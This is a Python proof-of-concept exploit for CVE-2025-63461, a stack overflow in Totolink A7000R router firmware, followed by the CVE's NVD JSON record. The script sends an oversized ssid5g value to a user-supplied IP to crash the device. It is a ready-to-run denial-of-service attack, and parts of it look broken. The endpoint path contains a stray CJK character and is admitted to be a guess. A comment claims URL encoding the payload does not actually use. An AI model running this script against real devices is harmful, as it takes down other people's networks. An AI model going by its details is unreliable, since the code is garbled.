CVE-2025-63461

#!/usr/bin/env python3 # CVE-2025-63461 PoC - Totolink A7000R Stack Overflow in urldecode # Target: ssid5g parameter via URL encoding # Impact: Denial of Service import requests import sys def generate_payload(length=2000): """ Generate URL-encoded payload for ssid5g parameter The payload causes stack overflow in urldecode function """ # Create a long string that will overflow the stack buffer # Using URL encoding to bypass input validation payload = "A" * length return payload def exploit(target_ip, target_port=80): """ Send malicious request to trigger stack overflow """ # Generate overflow payload payload = generate_payload(3000) # Construct the malicious URL with encoded ssid5g parameter # Target: /cgi-bin-青/... or similar endpoint url = f"http://{target_ip}:{target_port}/cgi-bin-青/login.cgi" # Prepare POST data with overflow payload data = { "ssid5g": payload, "module": "wifi", "action": "set_ssid" } print(f"[*] Sending malicious request to {url}") print(f"[*] Payload length: {len(payload)} bytes") try: response = requests.post(url, data=data, timeout=5) print(f"[!] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Request timed out - target may be vulnerable") except requests.exceptions.ConnectionError: print("[+] Connection refused - target may be down (exploit successful)") except Exception as e: print(f"[*] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-63461.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

{"cve": {"id": "CVE-2025-63461", "sourceIdentifier": "[email protected]", "published": "2025-10-31T17:15:47.583", "lastModified": "2025-11-05T17:30:00.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink A7000R v9.1.0u.6115_B20201022 was discovered to contain a stack overflow via the ssid5g parameter in the urldecode function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a7000r_firmware:9.1.0u.6115_b20201022:*:*:*:*:*:*:*", "matchCriteriaId": "A5BB152D-5E33-4158-BFFD-68AED6A174E2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a7000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "603DA206-05D4-48FD-A506-F3BD8B4383B2"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/7/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/7/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}